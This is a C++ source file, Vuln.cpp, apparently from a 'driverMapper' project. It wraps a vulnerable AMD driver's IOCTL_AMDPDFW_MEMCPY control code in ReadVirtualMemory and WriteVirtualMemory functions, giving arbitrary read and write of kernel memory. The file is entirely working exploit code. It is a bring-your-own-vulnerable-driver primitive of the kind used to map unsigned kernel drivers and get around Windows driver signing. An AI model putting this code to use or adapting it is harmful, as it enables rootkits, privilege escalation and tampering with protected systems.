Files
driverMapper/Vuln/Vuln.cpp
2024-08-02 13:27:27 -07:00

60 lines
1.4 KiB
C++

#include "Vuln.h"
namespace Vuln
{
BOOL WINAPI ReadVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
PDFW_MEMCPY request;
RtlSecureZeroMemory(&request, sizeof(request));
request.Destination = Buffer;
request.Source = (PVOID)Address;
request.Size = NumberOfBytes;
DWORD BytesReturned;
return DeviceIoControl(
DeviceHandle,
IOCTL_AMDPDFW_MEMCPY,
&request,
sizeof(request),
&request,
sizeof(request),
&BytesReturned, NULL
);
}
BOOL WINAPI WriteVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
PDFW_MEMCPY request;
RtlSecureZeroMemory(&request, sizeof(request));
request.Destination = (PVOID)Address;
request.Source = Buffer;
request.Size = NumberOfBytes;
DWORD BytesReturned;
return DeviceIoControl(
DeviceHandle,
IOCTL_AMDPDFW_MEMCPY,
&request,
sizeof(request),
&request,
sizeof(request),
&BytesReturned,
NULL
);
}
}